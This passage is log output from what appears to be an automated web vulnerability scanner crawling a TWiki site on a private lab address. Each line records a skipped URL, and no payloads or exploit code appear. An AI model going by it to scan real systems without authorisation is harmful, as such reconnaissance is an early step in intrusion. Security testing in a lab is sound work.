'http://192.168.1.113:80/twiki/bin/search/Main/?scope=topic®ex=on&bookview=on&search=.#N' [20:24:28] [INFO] skipping 'http://192.168.1.113:80/twiki/bin/search/Main/?scope=topic®ex=on&bookview=on&search=.#O' [20:24:28] [INFO] skipping 'http://192.168.1.113:80/twiki/bin/search/Main/?scope=topic®ex=on&bookview=on&search=.#P' [20:24:28] [INFO] skipping 'http://192.168.1.113:80/twiki/bin/search/Main/?scope=topic®ex=on&bookview=on&search=.#Q' [20:24:28] [INFO] skipping 'http://192.168.1.113:80/twiki/bin/search/Main/?scope=topic®ex=on&bookview=on&search=.#R' [20:24:28] [INFO] skipping 'http://192.168.1.113:80/twiki/bin/search/Main/?scope=topic®ex=on&bookview=on&search=.#S' [20:24:28] [INFO] skipping 'http://192.168.1.113:80/twiki/bin/search/Main/?scope=topic®ex=on&bookview=on&search=.#T' [20:24:28] [INFO] skipping 'http://192.168.1.113:80/twiki/bin/search/Main/?scope=topic®ex=on&bookview=on&search=.#U' [20:24:28] [INFO] skipping 'http://192.168.1.113:80/twiki/bin/search/Main/?scope=topic®ex=on&bookview=on&search=.#V' [20:24:28] [INFO] skipping 'http://192.168.1.113:80/twiki/bin/search/Main/?scope=topic®ex=on&bookview=on&search=.#W' [20:24:28] [INFO] skipping 'http://192.168.1.113:80/twiki/bin/search/Main/?scope=topic®ex=on&bookview=on&search=.#X' [20:24:28] [INFO] skipping 'http://192.168.1.113:80/twiki/bin/search/Main/?scope=topic®ex=on&bookview=on&search=.#Y' [20:24:28] [INFO] skipping 'http://192.168.1.113:80/twiki/bin/search/Main/?scope=topic®ex=on&bookview=on&search=.#Z' [20:24:28] [INFO] skipping 'http://192.168.1.113:80/twiki/bin/edit/Main/WebTopicEditTemplate?topicparent=Main.WebHome' [20:24:28] [INFO] skipping 'http://192.168.1.113:80/twiki/bin/edit/TWiki/FileAttachment?t=1441459155' [20:24:28] [INFO] skipping 'http://192.168.1.113:80/twiki/bin/search/TWiki/SearchResult?scope=text®ex=on&search=File *Attachment[^A-Za-z]' [20:24:28] [INFO] skipping 'http://192.168.1.113:80/twiki/bin/view/TWiki/FileAttachment?skin=print' [20:24:28] [INFO] skipping 'http://192.168.1.113:80/twiki/bin/rdiff/TWiki/FileAttachment?rev1=1.11&rev2=1.10' [20:24:28] [INFO] skipping 'http://192.168.1.113:80/twiki/bin/view/TWiki/FileAttachment?rev=1.10' [20:24:28] [INFO] skipping 'http://192.168.1.113:80/twiki/bin/rdiff/TWiki/FileAttachment?rev1=1.10&rev2=1.9' [20:24:28] [INFO] skipping 'http://192.168.1.113:80/twiki/bin/view/TWiki/FileAttachment?rev=1.9' [20:24:28] [INFO] skipping 'http://192.168.1.113:80/twiki/bin/oops/TWiki/FileAttachment?template=oopsmore¶m1=1.11¶m2=1.11' [20:24:28] [INFO] skipping 'http://192.168.1.113:80/twiki/bin/edit/TWiki/ManagingTopics?t=1441459156' [20:24:28] [INFO] skipping 'http://192.168.1.113:80/twiki/bin/search/TWiki/SearchResult?scope=text®ex=on&search=Managing *Topics[^A-Za-z]' [20:24:28] [INFO] skipping 'http://192.168.1.113:80/twiki/bin/view/TWiki/ManagingTopics?skin=print' [20:24:28] [INFO] skipping 'http://192.168.1.113:80/twiki/bin/rename/TWiki/ManagingTopics?newweb=TWiki&newtopic=RenameTopic&confirm=on' [20:24:28] [INFO] skipping 'http://192.168.1.113/twiki/bin/attach/Sandbox/WebHome?filename=pix.gif&revInfo=1' [20:24:28] [INFO] skipping 'http://192.168.1.113:80/twiki/bin/view/TWiki/TWikiFAQ?skin=print&rev=1.11' [20:24:28] [INFO] skipping 'http://192.168.1.113:80/twiki/bin/view/TWiki/TWikiFAQ?rev=1.13' [20:24:28] [INFO] skipping 'http://192.168.1.113:80/twiki/bin/oops/TWiki/TWikiFAQ?template=oopsmore¶m1=1.13¶m2=1.11' [20:24:28] [INFO] skipping 'http://192.168.1.113:80/twiki/bin/rename/TWiki/WelcomeGuest?currentwebonly=on' [20:24:28] [INFO] skipping 'http://192.168.1.113:80/twiki/bin/search/TWiki/SearchResult?scope=text&web=all;®ex=on&search=Welcome *Guest[^A-Za-z]' [20:24:28] [INFO] skipping 'http://192.168.1.113:80/twiki/bin/view/TWiki/TWikiFAQ?skin=print&rev=1.12' [20:24:28] [INFO] skipping 'http://192.168.1.113:80/twiki/bin/oops/TWiki/TWikiFAQ?template=oopsmore¶m1=1.13¶m2=1.12' [20:24:28] [INFO] skipping 'http://192.168.1.113:80/twiki/bin/rename/Main/TWikiUsers?currentwebonly=on' [20:24:28] [INFO] skipping 'http://192.168.1.113:80/twiki/bin/search/Main/SearchResult?scope=text&web=all;®ex=on&search=TWiki *Users[^A-Za-z]' [20:24:28] [INFO] skipping 'http://192.168.1.113:80/twiki/bin/edit/TWiki/TWikiDocumentation?t=1441459158' [20:24:28] [INFO] skipping 'http://192.168.1.113:80/twiki/bin/edit/TWiki/TWikiDocumentation?t=1441459161' [20:24:28] [INFO] skipping 'http://192.168.1.113/twiki/bin/edit/Main/TWikiGuest?t=1441459162' [20:24:28] [INFO] skipping 'http://192.168.1.113/twiki/bin/search/Main/SearchResult?scope=text®ex=on&search=TWiki *Guest[^A-Za-z]' [20:24:28] [INFO] skipping 'http://192.168.1.113/twiki/bin/view/Main/TWikiGuest?skin=print' [20:24:28] [INFO] skipping 'http://192.168.1.113/twiki/bin/rdiff/Main/TWikiGuest?rev1=1.6&rev2=1.5' [20:24:28] [INFO] skipping 'http://192.168.1.113/twiki/bin/view/Main/TWikiGuest?rev=1.5' [20:24:28] [INFO] skipping 'http://192.168.1.113/twiki/bin/rdiff/Main/TWikiGuest?rev1=1.5&rev2=1.4' [20:24:28] [INFO] skipping 'http://192.168.1.113/twiki/bin/view/Main/TWikiGuest?rev=1.4' [20:24:28] [INFO] skipping 'http://192.168.1.113/twiki/bin/oops/Main/TWikiGuest?template=oopsmore¶m1=1.6¶m2=1.6' [20:24:28] [INFO] skipping 'http://192.168.1.113:80/twiki/bin/view/Main/MartinRaabe?unlock=on' [20:24:28] [INFO] skipping 'http://192.168.1.113:80/twiki/bin/edit/TWiki/WikiTopic?t=1441459163' [20:24:28] [INFO] skipping 'http://192.168.1.113:80/twiki/bin/search/TWiki/SearchResult?scope=text®ex=on&search=Wiki *Topic[^A-Za-z]' [20:24:28] [INFO] skipping 'http://192.168.1.113:80/twiki/bin/view/TWiki/WikiTopic?skin=print' [20:24:28] [INFO] skipping 'http://192.168.1.113:80/twiki/bin/rdiff/TWiki/WikiTopic?rev1=1.4&rev2=1.3' [20:24:28] [INFO] skipping 'http://192.168.1.113:80/twiki/bin/view/TWiki/WikiTopic?rev=1.3' [20:24:28] [INFO] skipping 'http://192.168.1.113:80/twiki/bin/rdiff/TWiki/WikiTopic?rev1=1.3&rev2=1.2' [20:24:28] [INFO] skipping 'http://192.168.1.113:80/twiki/bin/view/TWiki/WikiTopic?rev=1.2' [20:24:28] [INFO] skipping 'http://192.168.1.113:80/twiki/bin/oops/TWiki/WikiTopic?template=oopsmore¶m1=1.4¶m2=1.4' [20:24:28] [INFO] skipping 'http://192.168.1.113:80/twiki/bin/view/TWiki/TextFormattingFAQ?rev=r1.13' [20:24:28] [INFO] skipping 'http://192.168.1.113:80/twiki/bin/view/TWiki/TextFormattingFAQ?rev=r1.12' [20:24:28] [INFO] skipping 'http://192.168.1.113:80/twiki/bin/view/TWiki/TextFormattingFAQ?rev=r1.11' [20:24:28] [INFO] skipping 'http://192.168.1.113:80/twiki/bin/view/TWiki/TextFormattingFAQ?rev=r1.10' [20:24:28] [INFO] skipping 'http://192.168.1.113:80/twiki/bin/view/TWiki/TextFormattingFAQ?rev=r1.9' [20:24:28] [INFO] skipping 'http://192.168.1.113:80/twiki/bin/edit/TWiki/WinAPI?topicparent=TWiki.TextFormattingFAQ' [20:24:28] [INFO] skipping 'http://192.168.1.113:80/twiki/bin/view/TWiki/TextFormattingFAQ?rev=r1.8' [20:24:28] [INFO] skipping 'http://192.168.1.113:80/twiki/bin/view/TWiki/TextFormattingFAQ?rev=r1.7' [20:24:28] [INFO] skipping 'http://192.168.1.113:80/twiki/bin/view/TWiki/TextFormattingFAQ?rev=r1.6' [20:24:28] [INFO] skipping 'http://192.168.1.113:80/twiki/bin/view/TWiki/TextFormattingFAQ?rev=r1.5' [20:24:28] [INFO] skipping 'http://192.168.1.113:80/twiki/bin/view/TWiki/TextFormattingFAQ?rev=r1.4' [20:24:28] [INFO] skipping 'http://192.168.1.113:80/twiki/bin/view/TWiki/TextFormattingFAQ?rev=r1.3' [20:24:28] [INFO] skipping 'http://192.168.1.113:80/twiki/bin/view/TWiki/TextFormattingFAQ?rev=r1.2' [20:24:28] [INFO] skipping 'http://192.168.1.113:80/twiki/bin/view/TWiki/TextFormattingFAQ?rev=r1.1' [20:24:28] [INFO] skipping 'http://192.168.1.113:80/twiki/bin/rename/Know/WebPreferences?currentwebonly=on' [20:24:28] [INFO] skipping 'http://192.168.1.113:80/twiki/bin/search/Know/SearchResult?scope=text&web=all;®ex=on&search=Web *Preferences[^A-Za-z]' [20:24:28] [INFO] skipping 'http://192.168.1.113:80/twiki/bin/edit/Main/SanJoseOffice?t=1441459164' [20:24:28] [INFO] skipping 'http://192.168.1.113:80/twiki/bin/search/Main/SearchResult?scope=text®ex=on&search=San *Jose *Office[^A-Za-z]' [20:24:28] [INFO] skipping 'http://192.168.1.113:80/twiki/bin/view/Main/SanJoseOffice?skin=print' [20:24:28] [INFO] skipping 'http://192.168.1.113:80/twiki/bin/rdiff/Main/SanJoseOffice?rev1=1.4&rev2=1.3' [20:24:28] [INFO] skipping 'http://192.168.1.113:80/twiki/bin/oops/Main/SanJoseOffice?template=oopsmore¶m1=1.4¶m2=1.4' [20:24:28] [INFO] skipping 'http://192.168.1.113:80/twiki/bin/edit/TWiki/TWikiDocumentation?t=1441459165' [20:24:28] [INFO] skipping 'http://192.168.1.113:80/twiki/bin/edit/TWiki/TWikiFaqTemplate?t=1441459167' [20:24:28] [INFO] skipping 'http://192.168.1.113:80/twiki/bin/search/TWiki/SearchResult?scope=text®ex=on&search=TWiki *Faq *Template[^A-Za-z]' [20:24:28] [INFO] skipping 'http://192.168.1.113:80/twiki/bin/view/TWiki/TWikiFaqTemplate?skin=print' [20:24:28] [INFO] skipping 'http://192.168.1.113:80/twiki/bin/rdiff/TWiki/TWikiFaqTemplate?rev1=1.3&rev2=1.2' [20:24:28] [INFO] skipping 'http://192.168.1.113:80/twiki/bin/view/TWiki/TWikiFaqTemplate?rev=1.2' [20:24:28] [INFO] skipping 'http://192.168.1.113:80/twiki/bin/rdiff/TWiki/TWikiFaqTemplate?rev1=1.2&rev2=1.1' [20:24:28] [INFO] skipping 'http://192.168.1.113:80/twiki/bin/view/TWiki/TWikiFaqTemplate?rev=1.1' [20:24:28] [INFO] skipping 'http://192.168.1.113:80/twiki/bin/oops/TWiki/TWikiFaqTemplate?template=oopsmore¶m1=1.3¶m2=1.3' [20:24:28] [INFO] skipping 'http://192.168.1.113:80/twiki/bin/edit/TWiki/TWikiPreferences?t=1441459167' [20:24:28] [INFO] skipping 'http://192.168.1.113:80/twiki/bin/view/Sandbox/TestTopic3?unlock=on' [20:24:28] [INFO] skipping 'http://192.168.1.113:80/twiki/bin/view/Main/TWikiGuest?skin=print&rev=1.4' [20:24:28] [INFO] skipping 'http://192.168.1.113:80/twiki/bin/oops/Main/TWikiGuest?template=oopsmore¶m1=1.6¶m2=1.4' [20:24:28] [INFO] skipping 'http://192.168.1.113:80/twiki/bin/view/TWiki/TWikiDocumentation?skin=print&rev=1.42' [20:24:28] [INFO] skipping 'http://192.168.1.113:80/twiki/bin/oops/TWiki/TWikiDocumentation?template=oopsmore¶m1=1.44¶m2=1.42' [20:24:28] [INFO] skipping 'http://192.168.1.113:80/twiki/bin/view/Main/WebChanges?skin=print&rev=1.2' [20:24:28] [INFO] skipping 'http://192.168.1.113:80/twiki/bin/oops/Main/WebChanges?template=oopsmore¶m1=1.3¶m2=1.2' [20:24:28] [INFO] skipping 'http://192.168.1.113:80/twiki/bin/edit/TWiki/TWikiAccessControl?t=1441459170' [20:24:28] [INFO] skipping 'http://192.168.1.113:80/twiki/bin/edit/TWiki/WikiOrg?topicparent=TWiki.TWikiAdminCookBook' [20:24:28] [INFO] skipping 'http://192.168.1.113:80/twiki/bin/edit/TWiki/TWikiAdminCookBook?t=1441459171' [20:24:28] [INFO] skipping 'http://192.168.1.113:80/twiki/bin/search/TWiki/SearchResult?scope=text®ex=on&search=TWiki *Admin *Cook *Book[^A-Za-z]' [20:24:28] [INFO] skipping 'http://192.168.1.113:80/twiki/bin/view/TWiki/TWikiAdminCookBook?skin=print' [20:24:28] [INFO] skipping 'http://192.168.1.113:80/twiki/bin/rdiff/TWiki/TWikiAdminCookBook?rev1=1.3&rev2=1.2' [20:24:28] [INFO] skipping 'http://192.168.1.113:80/twiki/bin/view/TWiki/TWikiAdminCookBook?rev=1.2' [20:24:28] [INFO] skipping 'http://192.168.1.113:80/twiki/bin/rdiff/TWiki/TWikiAdminCookBook?rev1=1.2&rev2=1.1' [20:24:28] [INFO] skipping 'http://192.168.1.113:80/twiki/bin/view/TWiki/TWikiAdminCookBook?rev=1.1' [20:24:28] [INFO] skipping 'http://192.168.1.113:80/twiki/bin/oops/TWiki/TWikiAdminCookBook?template=oopsmore¶m1=1.3¶m2=1.3' [20:24:28] [INFO] skipping 'http://192.168.1.113/twiki/bin/edit/Main/WebTopicEditTemplate?topicparent=Main.WebPreferences' [20:24:28] [INFO] skipping 'http://192.168.1.113/twiki/bin/edit/Main/WebPreferences?t=1441459171' [20:24:28] [INFO] skipping 'http://192.168.1.113/twiki/bin/search/Main/SearchResult?scope=text®ex=on&search=Web *Preferences[^A-Za-z]' [20:24:28] [INFO] skipping 'http://192.168.1.113/twiki/bin/view/Main/WebPreferences?skin=print' [20:24:28] [INFO] skipping 'http://192.168.1.113/twiki/bin/rdiff/Main/WebPreferences?rev1=1.14&rev2=1.13' [20:24:28] [INFO] skipping 'http://192.168.1.113/twiki/bin/view/Main/WebPreferences?rev=1.13' [20:24:28] [INFO] skipping 'http://192.168.1.113/twiki/bin/rdiff/Main/WebPreferences?rev1=1.13&rev2=1.12' [20:24:28] [INFO] skipping 'http://192.168.1.113/twiki/bin/view/Main/WebPreferences?rev=1.12' [20:24:28] [INFO] skipping 'http://192.168.1.113/twiki/bin/oops/Main/WebPreferences?template=oopsmore¶m1=1.14¶m2=1.14' [20:24:28] [INFO] skipping 'http://192.168.1.113:80/twiki/bin/edit/Main/NobodyGroup?t=1441459171' [20:24:28] [INFO] skipping 'http://192.168.1.113:80/twiki/bin/search/Main/SearchResult?scope=text®ex=on&search=Nobody *Group[^A-Za-z]' [20:24:28] [INFO] skipping 'http://192.168.1.113:80/twiki/bin/view/Main/NobodyGroup?skin=print' [20:24:28] [INFO] skipping 'http://192.168.1.113:80/twiki/bin/rdiff/Main/NobodyGroup?rev1=1.2&rev2=1.1' [20:24:28] [INFO] skipping 'http://192.168.1.113:80/twiki/bin/view/Main/TWikiUsers?unlock=on' [20:24:28] [INFO] skipping 'http://192.168.1.113:80/twiki/bin/edit/TWiki/TWikiDocumentation?t=1441459172' [20:24:28] [INFO] skipping 'http://192.168.1.113:80/twiki/bin/view/Sandbox/TestTopic5?unlock=on' [20:24:28] [INFO] skipping 'http://192.168.1.113:80/twiki/bin/view/Main/OfficeLocations?unlock=on' [20:24:28] [INFO] skipping 'http://192.168.1.113:80/twiki/bin/edit/TWiki/TWikiHistory?t=1441459174' [20:24:28] [INFO] skipping 'http://192.168.1.113:80/twiki/bin/edit/TWiki/JohnAltstadt?t=1441459175' [20:24:28] [INFO] skipping 'http://192.168.1.113:80/twiki/bin/search/TWiki/SearchResult?scope=text®ex=on&search=John *Altstadt[^A-Za-z]' [20:24:28] [INFO] skipping 'http://192.168.1.113:80/twiki/bin/view/TWiki/JohnAltstadt?skin=print' [20:24:28] [INFO] skipping 'http://192.168.1.113:80/twiki/bin/rdiff/TWiki/JohnAltstadt?rev1=1.6&rev2=1.5' [20:24:28] [INFO] skipping 'http://192.168.1.113:80/twiki/bin/view/TWiki/JohnAltstadt?rev=1.5' [20:24:28] [INFO] skipping 'http://192.168.1.113:80/twiki/bin/rdiff/TWiki/JohnAltstadt?rev1=1.5&rev2=1.4' [20:24:28] [INFO] skipping 'http://192.168.1.113:80/twiki/bin/view/TWiki/JohnAltstadt?rev=1.4' [20:24:28] [INFO] skipping 'http://192.168.1.113:80/twiki/bin/oops/TWiki/JohnAltstadt?template=oopsmore¶m1=1.6¶m2=1.6' [20:24:28] [INFO] skipping 'http://192.168.1.113:80/twiki/bin/edit/TWiki/TWikiDocumentation?t=1441459177' [20:24:28] [INFO] skipping 'http://192.168.1.113:80/twiki/bin/edit/TWiki/TWikiPreferences?t=1441459178' [20:24:28] [INFO] skipping 'http://192.168.1.113:80/twiki/bin/edit/TWiki/TWikiDocumentation?t=1441459179' [20:24:28] [INFO] skipping 'http://192.168.1.113:80/twiki/bin/view/TWiki/TWikiPreferences?skin=print&rev=1.46' [20:24:28] [INFO] skipping 'http://192.168.1.113:80/twiki/bin/oops/TWiki/TWikiPreferences?template=oopsmore¶m1=1.48¶m2=1.46' [20:24:28] [INFO] skipping 'http://192.168.1.113:80/twiki/bin/view/TWiki/TWikiPreferences?skin=print&rev=1.47' [20:24:28] [INFO] skipping 'http://192.168.1.113:80/twiki/bin/rename/Main/WebIndex?currentwebonly=on' [20:24:28] [INFO] skipping 'http://192.168.1.113:80/twiki/bin/search/Main/SearchResult?scope=text&web=all;®ex=on&search=Web *Index[^A-Za-z]' [20:24:28] [INFO] skipping 'http://192.168.1.113/twiki/bin/edit/TWiki/TWikiHistory?t=1441459182' [20:24:28] [INFO] skipping 'http://192.168.1.113/twiki/bin/search/TWiki/SearchResult?scope=text®ex=on&search=TWiki *History[^A-Za-z]' [20:24:28] [INFO] skipping 'http://192.168.1.113/twiki/bin/view/TWiki/TWikiHistory?skin=print' [20:24:28] [INFO] skipping 'http://192.168.1.113/twiki/bin/rdiff/TWiki/TWikiHistory?rev1=1.62&rev2=1.61' [20:24:28] [INFO] skipping 'http://192.168.1.113/twiki/bin/view/TWiki/TWikiHistory?rev=1.61' [20:24:28] [INFO] skipping 'http://192.168.1.113/twiki/bin/rdiff/TWiki/TWikiHistory?rev1=1.61&rev2=1.60' [20:24:28] [INFO] skipping 'http://192.168.1.113/twiki/bin/view/TWiki/TWikiHistory?rev=1.60' [20:24:28] [INFO] skipping 'http://192.168.1.113/twiki/bin/oops/TWiki/TWikiHistory?template=oopsmore¶m1=1.62¶m2=1.62' [20:24:28] [INFO] skipping 'http://192.168.1.113:80/twiki/bin/edit/TWiki/TWikiDocumentation?t=1441459183' [20:24:28] [INFO] skipping 'http://192.168.1.113:80/twiki/bin/edit/TWiki/TWikiDocumentation?t=1441459185' [20:24:28] [INFO] skipping 'http://192.168.1.113:80/twiki/bin/view/Main/TWikiGroups?unlock=on' [20:24:28] [INFO] skipping 'http://192.168.1.113:80/twiki/bin/edit/TWiki/TWikiMetaData?t=1441459187' [20:24:28] [INFO] skipping 'http://192.168.1.113:80/twiki/bin/view/Main/NicholasLee?rev=r1.2' [20:24:28] [INFO] skipping 'http://192.168.1.113:80/twiki/bin/view/Main/NicholasLee?rev=r1.1' [20:24:28] [INFO] skipping 'http://192.168.1.113:80/twiki/bin/view/Main/NicholasLee?rev=1.2' [20:24:28] [INFO] skipping 'http://192.168.1.113:80/twiki/bin/view/Main/NicholasLee?rev=1.1' [20:24:28] [INFO] skipping 'http://192.168.1.113:80/twiki/bin/oops/Main/NicholasLee?template=oopsmore¶m1=1.2¶m2=1.2' [20:24:28] [INFO] skipping 'http://192.168.1.113:80/twiki/bin/view/TWiki/TWikiGlossary?rev=r1.3' [20:24:28] [INFO] skipping 'http://192.168.1.113:80/twiki/bin/view/TWiki/TWikiGlossary?rev=r1.2' [20:24:28] [INFO] skipping 'http://192.168.1.113:80/twiki/bin/view/TWiki/TWikiGlossary?rev=r1.1' [20:24:28] [INFO] skipping 'http://192.168.1.113:80/twiki/bin/view/TWiki/TWikiGlossary?rev=1.3' [20:24:28] [INFO] skipping 'http://192.168.1.113:80/twiki/bin/edit/TWiki/TWikiDocumentation?t=1441459188' [20:24:28] [INFO] skipping 'http://192.168.1.113:80/twiki/bin/edit/TWiki/TWikiDocumentation?t=1441459190' [20:24:28] [INFO] skipping 'http://192.168.1.113:80/twiki/bin/edit/TWiki/TWikiDocumentation?t=1441459193' [20:24:28] [INFO] skipping 'http://192.168.1.113:80/twiki/bin/edit/TWiki/TWikiDocumentation?t=1441459195' [20:24:28] [INFO] skipping 'http://192.168.1.113/twiki/bin/edit/TWiki/TWikiFAQ?t=1441459197' [20:24:28] [INFO] skipping 'http://192.168.1.113/twiki/bin/search/TWiki/SearchResult?scope=text®ex=on&search=TWiki *FAQ[^A-Za-z]' [20:24:28] [INFO] skipping 'http://192.168.1.113/twiki/bin/view/TWiki/TWikiFAQ?skin=print' [20:24:28] [INFO] skipping 'http://192.168.1.113/twiki/bin/rdiff/TWiki/TWikiFAQ?rev1=1.13&rev2=1.12' [20:24:28] [INFO] skipping 'http://192.168.1.113/twiki/bin/view/TWiki/TWikiFAQ?rev=1.12' [20:24:28] [INFO] skipping 'http://192.168.1.113/twiki/bin/rdiff/TWiki/TWikiFAQ?rev1=1.12&rev2=1.11' [20:24:28] [INFO] skipping 'http://192.168.1.113/twiki/bin/view/TWiki/TWikiFAQ?rev=1.11' [20:24:28] [INFO] skipping 'http://192.168.1.113/twiki/bin/oops/TWiki/TWikiFAQ?template=oopsmore¶m1=1.13¶m2=1.13' [20:24:28] [INFO] skipping 'http://192.168.1.113:80/twiki/bin/edit/TWiki/TWikiDocumentation?t=1441459198' [20:24:28] [INFO] skipping 'http://192.168.1.113:80/twiki/bin/view/Main/TWikiVariables?rev=r1.3' [20:24:28] [INFO] skipping 'http://192.168.1.113:80/twiki/bin/edit/Main/IncludeTopicsAndWebPages?topicparent=Main.TWikiVariables' [20:24:28] [INFO] skipping 'http://192.168.1.113:80/twiki/bin/edit/Main/RegularExpression?topicparent=Main.TWikiVariables' [20:24:28] [INFO] skipping 'http://192.168.1.113:80/twiki/bin/edit/Main/WikiSyntax?topicparent=Main.TWikiVariables' [20:24:28] [INFO] skipping 'http://192.168.1.113:80/twiki/bin/edit/Main/TWikiForms?topicparent=Main.TWikiVariables' [20:24:28] [INFO] skipping 'http://192.168.1.113:80/twiki/bin/edit/Main/BookView?topicparent=Main.TWikiVariables' [20:24:28] [INFO] skipping 'http://192.168.1.113:80/twiki/bin/edit/Main/FormattedSearch?topicparent=Main.TWikiVariables' [20:24:28] [INFO] skipping 'http://192.168.1.113:80/twiki/bin/edit/Main/WebTopicViewTemplate?topicparent=Main.TWikiVariables' [20:24:28] [INFO] skipping 'http://192.168.1.113:80/twiki/bin/edit/Main/WebTopicNonWikiTemplate?topicparent=Main.TWikiVariables' [20:24:28] [INFO] skipping 'http://192.168.1.113:80/twiki/bin/edit/Main/UnlockTopic?topicparent=Main.TWikiVariables' [20:24:28] [INFO] skipping 'http://192.168.1.113:80/twiki/bin/edit/Main/DontNotify?topicparent=Main.TWikiVariables' [20:24:28] [INFO] skipping 'http://192.168.1.113:80/twiki/bin/edit/Main/TWikiAccessControl?topicparent=Main.TWikiVariables' [20:24:28] [INFO] skipping 'http://192.168.1.113:80/twiki/bin/edit/Main/TWikiPreferences?topicparent=Main.TWikiVariables' [20:24:28] [INFO] skipping 'http://192.168.1.113:80/twiki/bin/view/Main/TWikiVariables?rev=r1.2' [20:24:28] [INFO] skipping 'http://192.168.1.113:80/twiki/bin/view/Main/TWikiVariables?rev=r1.1' [20:24:28] [INFO] skipping 'http://192.168.1.113:80/twiki/bin/rdiff/Main/TWikiVariables?rev1=1.2&rev2=1.1' [20:24:28] [INFO] skipping 'http://192.168.1.113:80/twiki/bin/view/Main/TWikiVariables?rev=1.1' [20:24:28] [INFO] skipping 'http://192.168.1.113:80/twiki/bin/oops/Main/TWikiVariables?template=oopsmore¶m1=1.3¶m2=1.3' [20:24:28] [INFO] skipping 'http://192.168.1.113:80/twiki/bin/rename/Main/WebNotify?currentwebonly=on' [20:24:28] [INFO] skipping 'http://192.168.1.113:80/twiki/bin/search/Main/SearchResult?scope=text&web=all;®ex=on&search=Web *Notify[^A-Za-z]' [20:24:28] [INFO] skipping 'http://192.168.1.113:80/twiki/bin/edit/TWiki/TWikiDocumentation?t=1441459201' [20:24:28] [INFO] skipping 'http://192.168.1.113:80/twiki/bin/view/TWiki/TWikiPreferences?rev=r1.48' [20:24:28] [INFO] skipping 'http://192.168.1.113:80/twiki/bin/view/TWiki/TWikiPreferences?rev=r1.46' [20:24:28] [INFO] skipping 'http://192.168.1.113:80/twiki/bin/view/TWiki/TWikiPreferences?rev=r1.45' [20:24:28] [INFO] skipping 'http://192.168.1.113:80/twiki/bin/view/TWiki/TWikiPreferences?rev=r1.44' [20:24:28] [INFO] skipping 'http://192.168.1.113:80/twiki/bin/view/TWiki/TWikiPreferences?rev=r1.43' [20:24:28] [INFO] skipping 'http://192.168.1.113:80/twiki/bin/view/TWiki/TWikiPreferences?rev=r1.42' [20:24:28] [INFO] skipping 'http://192.168.1.113:80/twiki/bin/view/TWiki/TWikiPreferences?rev=r1.41' [20:24:28] [INFO] skipping 'http://192.168.1.113:80/twiki/bin/view/TWiki/TWikiPreferences?rev=r1.40' [20:24:28] [INFO] skipping 'http://192.168.1.113:80/twiki/bin/view/TWiki/TWikiPreferences?rev=r1.39' [20:24:28] [INFO] skipping 'http://192.168.1.113:80/twiki/bin/view/TWiki/TWikiPreferences?rev=r1.38' [20:24:28] [INFO] skipping 'http://192.168.1.113:80/twiki/bin/view/TWiki/TWikiPreferences?rev=r1.37' [20:24:28] [INFO] skipping 'http://192.168.1.113:80/twiki/bin/view/TWiki/TWikiPreferences?rev=r1.36' [20:24:28] [INFO] skipping 'http://192.168.1.113:80/twiki/bin/view/TWiki/TWikiPreferences?rev=r1.35' [20:24:28] [INFO] skipping 'http://192.168.1.113:80/twiki/bin/view/TWiki/TWikiPreferences?rev=r1.34' [20:24:28] [INFO] skipping 'http://192.168.1.113:80/twiki/bin/view/TWiki/TWikiPreferences?rev=r1.33' [20:24:28] [INFO] skipping 'http://192.168.1.113:80/twiki/bin/view/TWiki/TWikiPreferences?rev=r1.32' [20:24:28] [INFO] skipping 'http://192.168.1.113:80/twiki/bin/view/TWiki/TWikiPreferences?rev=r1.31' [20:24:28] [INFO] skipping 'http://192.168.1.113:80/twiki/bin/view/TWiki/TWikiPreferences?rev=r1.30' [20:24:28] [INFO] skipping 'http://192.168.1.113:80/twiki/bin/edit/Test/WebHome?topicparent=TWiki.TWikiPreferences' [20:24:28] [INFO] skipping 'http://192.168.1.113:80/twiki/bin/view/TWiki/TWikiPreferences?rev=r1.29' [20:24:28] [INFO] skipping 'http://192.168.1.113:80/twiki/bin/view/TWiki/TWikiPreferences?rev=r1.28' [20:24:28] [INFO] skipping 'http://192.168.1.113:80/twiki/bin/view/TWiki/TWikiPreferences?rev=r1.27' [20:24:28] [INFO] skipping 'http://192.168.1.113:80/twiki/bin/view/TWiki/TWikiPreferences?rev=r1.26' [20:24:28] [INFO] skipping 'http://192.168.1.113:80/twiki/bin/view/TWiki/TWikiPreferences?rev=r1.25' [20:24:28] [INFO] skipping 'http://192.168.1.113:80/twiki/bin/view/TWiki/TWikiPreferences?rev=r1.24' [20:24:28] [INFO] skipping 'http://192.168.1.113:80/twiki/bin/view/TWiki/TWikiPreferences?rev=r1.23' [20:24:28] [INFO] skipping 'http://192.168.1.113:80/twiki/bin/view/TWiki/TWikiPreferences?rev=r1.22' [20:24:28] [INFO] skipping 'http://192.168.1.113:80/twiki/bin/view/TWiki/TWikiPreferences?rev=r1.21' [20:24:28] [INFO] skipping 'http://192.168.1.113:80/twiki/bin/view/TWiki/TWikiPreferences?rev=r1.20' [20:24:28] [INFO] skipping 'http://192.168.1.113:80/twiki/bin/view/TWiki/TWikiPreferences?rev=r1.19' [20:24:28] [INFO] skipping 'http://192.168.1.113:80/twiki/bin/edit/TWiki/WebNotification?topicparent=TWiki.TWikiPreferences' [20:24:28] [INFO] skipping 'http://192.168.1.113:80/twiki/bin/view/TWiki/TWikiPreferences?rev=r1.18' [20:24:28] [INFO] skipping 'http://192.168.1.113:80/twiki/bin/view/TWiki/TWikiPreferences?rev=r1.17' [20:24:28] [INFO] skipping 'http://192.168.1.113:80/twiki/bin/edit/TWiki/TWikiNotificationOfChanges?topicparent=TWiki.TWikiPreferences' [20:24:28] [INFO] skipping 'http://192.168.1.113:80/twiki/bin/view/TWiki/TWikiPreferences?rev=r1.16' [20:24:28] [INFO] skipping 'http://192.168.1.113:80/twiki/bin/view/TWiki/TWikiPreferences?rev=r1.15' [20:24:28] [INFO] skipping 'http://192.168.1.113:80/twiki/bin/view/TWiki/TWikiPreferences?rev=r1.14' [20:24:28] [INFO] skipping 'http://192.168.1.113:80/twiki/bin/view/TWiki/TWikiPreferences?rev=r1.13' [20:24:28] [INFO] skipping 'http://192.168.1.113:80/twiki/bin/view/TWiki/TWikiPreferences?rev=r1.12' [20:24:28] [INFO] skipping 'http://192.168.1.113:80/twiki/bin/view/TWiki/TWikiPreferences?rev=r1.11' [20:24:28] [INFO] skipping 'http://192.168.1.113:80/twiki/bin/view/TWiki/TWikiPreferences?rev=r1.10' [20:24:28] [INFO] skipping 'http://192.168.1.113:80/twiki/bin/view/TWiki/TWikiPreferences?rev=r1.9' [20:24:28] [INFO] skipping 'http://192.168.1.113:80/twiki/bin/view/TWiki/TWikiPreferences?rev=r1.8' 